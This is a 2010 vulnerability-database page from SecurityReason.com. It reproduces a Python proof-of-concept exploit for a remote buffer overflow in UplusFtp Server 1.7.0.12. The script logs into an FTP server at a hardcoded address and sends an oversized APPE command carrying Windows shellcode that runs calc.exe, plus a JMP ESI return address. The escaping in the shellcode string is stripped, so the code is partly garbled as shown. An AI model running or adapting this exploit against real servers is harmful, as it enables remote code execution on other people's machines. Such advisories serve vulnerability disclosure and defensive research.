SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow World Laboratory of Bugtraq Database

Arrow  Topic :

UplusFtp Server 1.7.0.12 remote buffer overflow


Arrow  WLB : WLB-2010020035  (About)
Arrow  SecurityAlert : None
Arrow  Date : 2010-02-08
Arrow  Credit          : b0telh0
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote : Yes
Arrow  Local     : No
Arrow  Status   : Bug

Arrow  History : [2010-02-08] Started

Arrow  Affected software :  UplusFtp Server 1.7.0.12



Arrow  Text :  

#!/usr/bin/python
#
# Title: UplusFtp Server 1.7.0.12 Remote Buffer Overflow
# Date: 02-03-2010
# Author: b0telh0
# Link:
http://easyftpsvr.googlecode.com/files/uplusftp-server-1.7.0.12-en.zip
# Tested on: Windows XP SP3

# CWD, DELE, LIST, MKD, NLST (and etc) commands are also vulnerable.
#


import socket
import time

# windows/exec - 227 bytes
# EXITFUNC=process, CMD=calc.exe
shellcode = ("x29xc9xb1x33xdaxd3xbdx07x4ax9ex37xd9x74x24xf4"
"x5bx83xc3x04x31x6bx0fx03x6cx45x7cxc2x8exb1x09"
"x2dx6ex42x6axa7x8bx73xb8xd3xd8x26x0cx97x8cxca"
"xe7xf5x24x58x85xd1x4bxe9x20x04x62xeax84x88x28"
"x28x86x74x32x7dx68x44xfdx70x69x81xe3x7bx3bx5a"
"x68x29xacxefx2cxf2xcdx3fx3bx4axb6x3axfbx3fx0c"
"x44x2bxefx1bx0exd3x9bx44xafxe2x48x97x93xadxe5"
"x6cx67x2cx2cxbdx88x1fx10x12xb7x90x9dx6axffx16"
"x7ex19x0bx65x03x1axc8x14xdfxafxcdxbex94x08x36"
"x3fx78xcexbdx33x35x84x9ax57xc8x49x91x63x41x6c"
"x76xe2x11x4bx52xafxc2xf2xc3x15xa4x0bx13xf1x19"
"xaex5fx13x4dxc8x3dx79x90x58x38xc4x92x62x43x66"
"xfbx53xc8xe9x7cx6cx1bx4ex72x26x06xe6x1bxefxd2"
"xbbx41x10x09xffx7fx93xb8x7fx84x8bxc8x7axc0x0b"
"x20xf6x59xfex46xa5x5ax2bx25x28xc9xb7x84xcfx69"
"x5dxd9");

junk = "x90" * 41
eip = "x4exaex3ax7e" #7E3AAE4E JMP ESI
USER32.dll
nops = "x90" * 28

try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "n[+] UplusFtp Server v1.7.0.12 Exploit!"
connect=s.connect(('10.1.1.110',21))
d=s.recv(1024)
print "[+] " +d
print "[+] Sending username..."
time.sleep(1)
s.send('USER testrn')
s.recv(1024)
print "[+] Sending password..."
time.sleep(1)
s.send('PASS testrn')
s.recv(1024)
print "[+] Sending buffer..."
time.sleep(1)
s.send('APPE ' + junk + shellcode + eip + nops + 'rn')
print "[.] done!n"
except:
print "[-] Can't connect to ftp server!n"




Arrow  References :  

None

If you want change this note, please use UCP


Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

Copyright © SecurityReason.com. All Rights Reserved.